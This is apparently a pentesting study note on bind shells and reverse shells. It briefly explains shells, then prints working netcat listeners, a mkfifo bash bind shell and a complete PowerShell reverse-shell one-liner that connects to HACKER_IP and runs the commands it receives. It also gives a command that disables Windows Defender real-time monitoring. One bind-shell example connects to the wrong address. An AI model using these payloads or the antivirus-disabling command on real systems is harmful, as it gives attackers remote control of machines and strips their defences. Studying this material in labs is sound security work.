Reverse Shell vs Bind Shell

Anatomy of a Shell

Every operating system has a shell, and to interact with it, we must use an application known as a terminal emulator. Here are some of the most common terminal emulators:

Command Language Interpreters

Much like a human language interpreter will translate spoken or sign language in real-time, a command language interpreter is a program working to interpret the instructions provided by the user and issue the tasks to the operating system for processing.

Powershell : $PSVersionTable

Bash : uname -a

Bind Shells

With a bind shell, the target system has a listener started and awaits a connection from a pentester's system.

As seen in the image, we would connect directly with the IP address and port listening on the target. There can be many challenges associated with getting a shell this way. Here are some to consider:

1. There would have to be a listener already started on the target.
2. If there is no listener started, we would need to find a way to make this happen.
3. Admins typically configure strict incoming firewall rules and NAT (with PAT implementation) on the edge of the network (public-facing), so we would need to be on the internal network already.
4. Operating system firewalls (on Windows & Linux) will likely block most incoming connections that aren't associated with trusted network-based applications.

In this instance, the target will be our server, and the hacker will be our client.

Method 1:

VICTIM

$ nc -lvnp 7777

HACKER

$ nc -nv HACKER_IP 7777

Method 2:

VICTIM

$ rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l <IP> 7777 > /tmp/f

HACKER

$ nc -nv HACKER_IP 7777

Reverse Shells

With a reverse shell, the attack box will have a listener running, and the target will need to initiate the connection.

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

HACKER

$ sudo nc -lvnp 9001

VICTIM (cmd)

C:\dotnetguard> powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('HACKER_IP',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

For our purposes, we will want to disable the antivirus through the Virus & threat protection settings or by using this command in an administrative PowerShell console (right-click, run as admin):

VICTIM

PS C:\Users\dotnetguard> Set-MpPreference -DisableRealtimeMonitoring $true